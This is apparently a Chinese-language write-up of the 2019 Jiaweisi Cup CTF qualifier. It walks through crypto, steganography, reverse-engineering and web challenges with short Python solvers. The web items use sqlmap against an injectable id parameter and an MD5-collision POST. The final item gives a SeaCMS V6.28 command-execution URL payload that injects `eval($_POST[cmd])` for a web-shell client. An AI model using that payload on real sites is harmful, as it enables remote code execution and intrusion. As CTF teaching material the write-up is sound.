天天看点

2019嘉韦思杯线上初赛writeup

1 土肥原贤二

看到页面怀疑是sql注入,写了个4'进去就发生报错。

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''4''' at line 1

直接丢到sqlmap里

id,flag

20_welcome_19,20_welcome_19

1,1

从而得到flag

2 吴佩孚

先是有点蒙,试了下base64,发现得到(![]+[])[+[]]+(![]+[])[!+[],看起来是jsfuck,丢到浏览器console中得到flag

3 死亡真相

wav音屏文件,用audacity打开,先是频谱图,发现有先是flag:。。。。,后面的字符串是32位,但是其中有三个下划线,猜测是挖掉了三个数字的md5,于是取中间16位,形成16位的md5,这样子就只含有两个下划线,16*16=256中可能。在网上在线批量解密,发现两个下划线都替换成0的时候就可以解开,用flag{}包装下提交

4 日军空袭

不停地base64解码,最后得到flag{fB__l621a4h4g_ai%7B%26i%7D},url解码得fB__l621a4h4g_ai{&i},然后解移位密码,位移为4,得flag

6 戴星炳

用python,获得网页,正则提取然后eval算出来,再请求,获得falg

import requests

import re

r = requests.get('http://47.103.43.235:82/web/a/index.php')

a = re.findall(r'<p>(0x.*)</p>',r.text)[0]

a = eval(a)

print(a)

rr = requests.post('http://47.103.43.235:82/web/a/index.php',data={'result':str(a)})

print(rr.text)

7 大美晚报

二维码,下载下来,显示用binwalk发现里面有压缩包,用foremost得到里面的压缩包,记事本打开发现有句话说密码是qq号,所以用zipperello穷举数字8-10位组合,得到密码674290437,解压zip得到falg

8 潘汉年

bg[`sZ*Zg'dPfP`VM_SXVd

观察前面五个字符和flag{这五个字符ascii码的差,发现这个差是递增的,根据这个规律就可以解密啦

s = "bg[`sZ*Zg'dPfP`VM_SXVd"

r = ''

for i in range(len(s)):

    r = r+chr(ord(s[i])+4+i)

print(r)

9 袁殊

rsa加密,根据public key ,用openssl获得n和e,由于n不大,在http://factordb.com/分解得到pq,然后就可以直接解密啦

n16 = 'A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9'

p = 273821108020968288372911424519201044333

q = 280385007186315115828483000867559983517

#273821108020968288372911424519201044333<39> · 280385007186315115828483000867559983517<39>

n = int(n16,16)

e = 65537

import gmpy2

import rsa

d = int(gmpy2.invert(e , (p-1) * (q-1)))

privatekey = rsa.PrivateKey(n , e , d , p , q)      #根据已知参数,计算私钥

with open("fllllllag.txt" , "rb") as f:

    print(rsa.decrypt(f.read(), privatekey).decode())       #使用私钥对密文进行解密,并打印

11 晴气庆胤

根据html中的提示,是要输入两个不同的字符串但是有相同md5

使用fastcoll生成两个具有相同md5的文件,再利用python post过去就可以获得falg了

import requests

url = 'http://47.103.43.235:85/a/'

with open('msg1.bin','rb') as f:

    data1 = f.read()

with open('msg2.bin','rb') as f:

    data2 = f.read()

d = {'param1':data1,'param2':data2}

r = requests.post(url,data = d)

print(r.text)

12 梅津美治郎

逆向

有两个密码,windbg动态调试即可,给scanf下断点

第一层的密码在调用strcmp的地方直接就可以找到

第二层的密码是显示内存中有一个字符串,将这个字符串的每个字符和2进行异或得到的就是第二层密码

14 作战计划

seacms,利用海洋CMS V6.28 命令执行 0DAY,直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有个flag文件,打开就是flag